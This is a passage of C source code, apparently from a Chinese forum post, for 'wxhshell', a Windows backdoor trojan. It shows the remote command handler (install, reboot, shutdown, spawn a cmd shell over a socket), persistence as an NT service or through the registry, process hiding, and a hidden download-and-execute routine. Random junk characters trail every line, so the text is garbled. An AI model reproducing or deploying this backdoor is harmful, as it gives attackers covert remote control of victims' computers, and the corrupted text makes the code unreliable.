    switch(cmd[0]) { qg j;E=7  
  Z%?>H iy'o  
  // 帮助 ^X#)'\T  
  case '?': { :30daKo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w8+ phN(-M  
    break; d*u3]&?x&f  
  } %;wD B2k*  
  // 安装 =4)8a"7#.  
  case 'i': { w%wVB/(  
    if(Install()) [ (Y@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Ok#~>c  
    else 7 :\J2$P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9uxoMjR-  
    break; <1vogUDW  
    } T7qp ({v?Q  
  // 卸载 &kf \[|y  
  case 'r': { |3k r*#  
    if(Uninstall()) x6aVNH=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :2 \NG}  
    else G$)q% b;Lz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HE*^!2f  
    break; bv7)[,i  
    } V~Guw[RA  
  // 显示 wxhshell 所在路径 Vb\^xdL>  
  case 'p': { #pWy%U  
    char svExeFile[MAX_PATH]; Zq{gp1WC  
    strcpy(svExeFile,"\n\r"); #}1yBxB<=  
      strcat(svExeFile,ExeFile); :tENn r.9v  
        send(wsh,svExeFile,strlen(svExeFile),0); ([m4 dr  
    break; Urw =a$  
    } #+i5'p(4  
  // 重启 MNh:NFCRA  
  case 'b': { M\ wCZG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rhF2U  
    if(Boot(REBOOT)) Ozqh Jb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D{7sfkcJ  
    else { N/C$8D34  
    closesocket(wsh); 8I*yS#  
    ExitThread(0); &gh>'z;`r  
    } .mnkV -m  
    break; ;qzn_W  
    } BD$Lf,_  
  // 关机 :S`12*_g"  
  case 'd': { {_>XsB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p>U= Jg  
    if(Boot(SHUTDOWN)) auB+g'l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (wH+0  
    else { 2(Xu?W 7d  
    closesocket(wsh); !FK)iQy$0  
    ExitThread(0); ,A#gF_8  
    } KsTE)@ F:  
    break; $LBgBH &z  
    } t%y i3  
  // 获取shell 7#HSe#0J  
  case 's': { uv$utu>< *  
    CmdShell(wsh); 6d5q<C_3t  
    closesocket(wsh); iOAn/[^xk  
    ExitThread(0); 3?k<e  
    break; zl, Vj%d  
  } vqF=kB"P  
  // 退出 F.Bij8\  
  case 'x': { }L`Z<h*H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &G-dxET]  
    CloseIt(wsh); $;";i:H`  
    break; O*F= xG  
    } N+]HJ`K  
  // 离开 [pt U}  
  case 'q': { 2L.6!THG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y`z?lmV)xM  
    closesocket(wsh); B_@p@6z  
    WSACleanup(); \^cXmyQ<%  
    exit(1); zGL.+@  
    break; m8l!+8  
        } Tv,ZS   
  } 3#uc+$[  
  } J6 A3Hrg  
y2B'0l  
  // 提示信息 s=R^2;^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OSJL,F,  
} Cpn!}!Gnf  
  } B90fUK2g  
{\h:k\k  
  return; &`'@}o>2  
} ?wIw$p>wT  
bvl!^xO]  
// shell模块句柄 )|]*"yf:E  
int CmdShell(SOCKET sock) iII%!f?{[  
{ Qdy/KL1]  
STARTUPINFO si; 6 ZXRb  
ZeroMemory(&si,sizeof(si)); 1O2V!?P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *mw *z|-^V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M^n^wz  
PROCESS_INFORMATION ProcessInfo; V_4=0(  
char cmdline[]="cmd"; @E> rqI;`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }?CKE<#%  
  return 0; YvUV9qps~  
} -|:mRAe  
Q}^qu6  
// 自身启动模式 $}H,g}@0  
int StartFromService(void) nbv}Q-C  
{ z wn#E  
typedef struct :@Ml-ZE  
{ JGYJ;j{E]  
  DWORD ExitStatus; gP ^A  
  DWORD PebBaseAddress; LmKY$~5P  
  DWORD AffinityMask; 2H1?f|0>  
  DWORD BasePriority; `Gg,oCQg  
  ULONG UniqueProcessId; Eb&=$4c=  
  ULONG InheritedFromUniqueProcessId; Q ~eh_>"  
}   PROCESS_BASIC_INFORMATION; RRpCWc Iv"  
yx<-M  
PROCNTQSIP NtQueryInformationProcess; 4^^=^c  
jU{~3Gn?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 94lz?-j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~'Korxa  
i66/2BUh.  
  HANDLE             hProcess; SO`b+B  
  PROCESS_BASIC_INFORMATION pbi; AgOti]`aR  
C)cuy7<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i2 )$%M&  
  if(NULL == hInst ) return 0; _]< Tv3]RK  
1,n\Osd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ] `;Fc8$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OFZo"XtF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *b`1+~p_2  
[1e/@eC5  
  if (!NtQueryInformationProcess) return 0; 5hDm[*83  
bW GMgC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ddlF4L_  
  if(!hProcess) return 0; .sZ"|j9m  
Wm!cjGK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A4)TJY 3g  
5_rx$avm  
  CloseHandle(hProcess); k4J Tc2b  
 fTGVG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]_m(q`_  
if(hProcess==NULL) return 0; 4SIS #m  
Dyj>dh-  
HMODULE hMod; +@+*sVb  
char procName[255]; );xTl6Y9  
unsigned long cbNeeded; gZL,xX  
F{eI[A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VP }To  
A ? [Wfq|  
  CloseHandle(hProcess); MwD8a<2Dg  
LKM;T-  
if(strstr(procName,"services")) return 1; // 以服务启动 >B$B|g~  
xE6hE'rh.O  
  return 0; // 注册表启动 p%+'iDb  
} _"#n%@  
5~RR _G  
// 主模块 xQxq33\  
int StartWxhshell(LPSTR lpCmdLine) mfk^t`w_  
{ 3oApazH*  
  SOCKET wsl; V+$fh2t  
BOOL val=TRUE; S0lt _~  
  int port=0; XrGP]k6.^  
  struct sockaddr_in door; 2zkO s:  
Pu,2a+0N  
  if(wscfg.ws_autoins) Install(); 3 t+1M  
V?n=yg  
port=atoi(lpCmdLine); 7J|nqr`>t  
? RI D4xu!  
if(port<=0) port=wscfg.ws_port; Ime"}*9  
PebyH"M(  
  WSADATA data; ]9}^}U1."  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "|/Q5 *L  
a6"-,Kg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dlioaYc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d*LW32B@  
  door.sin_family = AF_INET; zCmx1Djz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .i3_D??  
  door.sin_port = htons(port); xC 4L`\  
|}o3EX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /PEL[Os  
closesocket(wsl); : CP,DO  
return 1; ka*#O"}L8  
} FlT5R*m  
Cq}E5M  
  if(listen(wsl,2) == INVALID_SOCKET) { yXCHBz6&  
closesocket(wsl); %0%Tp  
return 1; 5i=C?W`'  
} 5a5)hmO RB  
  Wxhshell(wsl); T1(*dVU?  
  WSACleanup(); CEBa,hp@  
/1b7f'  
return 0; /sdZf|Zl  
sE[ Yg8yAt  
} KESM5p"f  
bv}e[yH  
// 以NT服务方式启动 f8)fm2^09  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BR:Mcc  
{ eaDG7+iS  
DWORD   status = 0; D=}\]Krmay  
  DWORD   specificError = 0xfffffff; #j)"#1IE2W  
)D&xyC}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |u+!CR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HbJ^L:/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9u%(9Ae  
  serviceStatus.dwWin32ExitCode     = 0; Dv~jVIXu  
  serviceStatus.dwServiceSpecificExitCode = 0; @DSKa`  
  serviceStatus.dwCheckPoint       = 0; <4582x,G  
  serviceStatus.dwWaitHint       = 0; +9B .}t#  
~re~Ys  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f'TEua_`  
  if (hServiceStatusHandle==0) return; v4F+^0?  
P7$/yBI U  
status = GetLastError(); `7R-2 w<b?  
  if (status!=NO_ERROR) b8glZb*$  
{ gKtgW&PYm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =X7_!vSv  
    serviceStatus.dwCheckPoint       = 0; $ByP 9=|  
    serviceStatus.dwWaitHint       = 0; xL"O~jTS  
    serviceStatus.dwWin32ExitCode     = status; t$rla _rbY  
    serviceStatus.dwServiceSpecificExitCode = specificError; \t)`Cp6,[b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i ;^Ya  
    return; R$;TX^r'o&  
  } )T^xDx  
]88qjKL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $dG:29w  
  serviceStatus.dwCheckPoint       = 0; U_WO<uhC  
  serviceStatus.dwWaitHint       = 0; IRTD(7"oyp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ygQe'S{!S\  
} L2OR<3*|Av  
J M`[|"R%  
// 处理NT服务事件,比如:启动、停止 Rx?ze(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &d\ y:7  
{ *q+X ?3  
switch(fdwControl) "<LWz&e^^  
{ Zpz3 ?VM(  
case SERVICE_CONTROL_STOP: ilAhw4A  
  serviceStatus.dwWin32ExitCode = 0; [pInF Qh6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *D.Ajd.G  
  serviceStatus.dwCheckPoint   = 0; <,\U,jU _  
  serviceStatus.dwWaitHint     = 0; ^9kx3Pw?8  
  { nlA:C>=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (p<pF].  
  } }b/P\1#z  
  return; Nnq1&j"m  
case SERVICE_CONTROL_PAUSE: {(I":rt#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (%mV,2|:20  
  break; Z58{YCY  
case SERVICE_CONTROL_CONTINUE: Pb sxjP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D"%>  
  break; I5 qrHBJ >  
case SERVICE_CONTROL_INTERROGATE: QNH3\<IS  
  break; z"Mk(d@-E  
}; m"QDc[^Ge  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xt +9z  
} Q!_d6-*u  
(>NZYPw^3  
// 标准应用程序主函数 <>728;/C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Je}0KW3G9L  
{ +wxsAGy_j  
c94=>p6  
// 获取操作系统版本 p}<60O"r$  
OsIsNt=GetOsVer(); ?'_6M4UKa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gtePo[ZH.P  
B9Hib1<8  
  // 从命令行安装 hCS}  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3#Bb4\_v  
vrcIwCa  
  // 下载执行文件 k81%$E  
if(wscfg.ws_downexe) { 5DVYHN9c|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b` va\ '&3  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~]q>}/&YLo  
} e['<.Yf+  
}1W@  
if(!OsIsNt) { 8KYIHw  
// 如果时win9x,隐藏进程并且设置为注册表启动 8QoxU" c&  
HideProc(); x0WinLQ  
StartWxhshell(lpCmdLine); 3&nN;4~Zx6  
} niKfat?  
else 0[e!/*_V  
  if(StartFromService()) kw E2V+2  
  // 以服务方式启动 Ih>s2nL  
  StartServiceCtrlDispatcher(DispatchTable); )Yv=:+f  
else |0Xf":  
  // 普通方式启动 AI`k }sA~  
  StartWxhshell(lpCmdLine); &{UqGD#1&  
r$8'1s37`  
return 0; P=_fYA3  
}
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只看该作者 1 发表于: 2006-10-10
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